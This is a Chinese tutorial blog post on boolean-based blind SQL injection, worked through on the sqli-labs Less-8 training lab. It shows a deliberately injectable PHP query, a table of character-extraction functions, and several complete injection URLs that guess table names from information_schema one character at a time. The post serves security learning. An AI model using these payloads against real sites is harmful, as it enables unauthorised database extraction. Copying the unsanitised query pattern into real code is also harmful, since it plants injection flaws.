美文网首页web安全
布尔盲注(基于sqli-labs第八关)

布尔盲注(基于sqli-labs第八关)

作者: shadowflow | 来源:发表于2018-07-10 17:09 被阅读2次

布尔盲注原理

$id=$_Get['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
if($row)
{
    echo "right";
}
else
{
    echo "wrong";

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息
我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们判断的是否正确,这既是布尔盲注

布尔盲注方法

序号 方法 举例 说明
1 left()函数 left(database(),1)>'s' database显示数据库名称,left(a,b)从左侧截取a的前b位
2 regexp select user() regexp '^r' 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式
3 like select user() like 'ro%' 与regexp类似,使用like进行匹配
4 substr()函数,ascii()函数 ascii(substr((select database()),1,1))=98 substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
5 ord()函数,mid()函数 ord(mid((select user()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位,ord()函数同ascii(),将字符转为ascii值

left():

判断当前数据库的第一个表的第一个字母是不是e

http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

判断当前数据库的第一个表的前两个字母是不是em

http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em'--+

判断当前数据库的第二个表的第一个字母是不是e

http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),2)='r'--+

regexp

http://127.0.0.1/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^e'--+

substr()

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

相关文章

  • 布尔盲注(基于sqli-labs第八关)

    布尔盲注原理 代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息我们可以通过构造语句,来判断数据库...

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • SQLMAP自动注入(一):sqlmap的简单使用和配合burp

    python编写,开源 检测方式 基于布尔的盲注检测 基于时间的盲注检测 基于错误的检测 基于union的检测 基...

  • 01.sqlmap

    1. sqlmap支持五种不同的注入模式: 基于布尔的盲注; 基于时间的盲注; 基于报错注入; 联合查询注入,un...

  • SQL基于时间的盲注过程

    0x00 前言 由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把...

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • mysql 基于布尔的盲注

    输入:http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=1 ...

  • SQL注入 基于布尔的盲注(less-5)

    盲注 当不能像前面那样直接在网页中显示我们要的数据时就需要用到盲注,来得到数据库之类的名字。基于布尔的盲注就是通过...

  • Less-9

    其实每一关在sqli-labs的首页都可以看到是什么类型的注入...... 这题是基于时间的盲注单引号GET型 关...

网友评论

    本文标题:布尔盲注(基于sqli-labs第八关)

    本文链接:https://www.haomeiwen.com/subject/heifpftx.html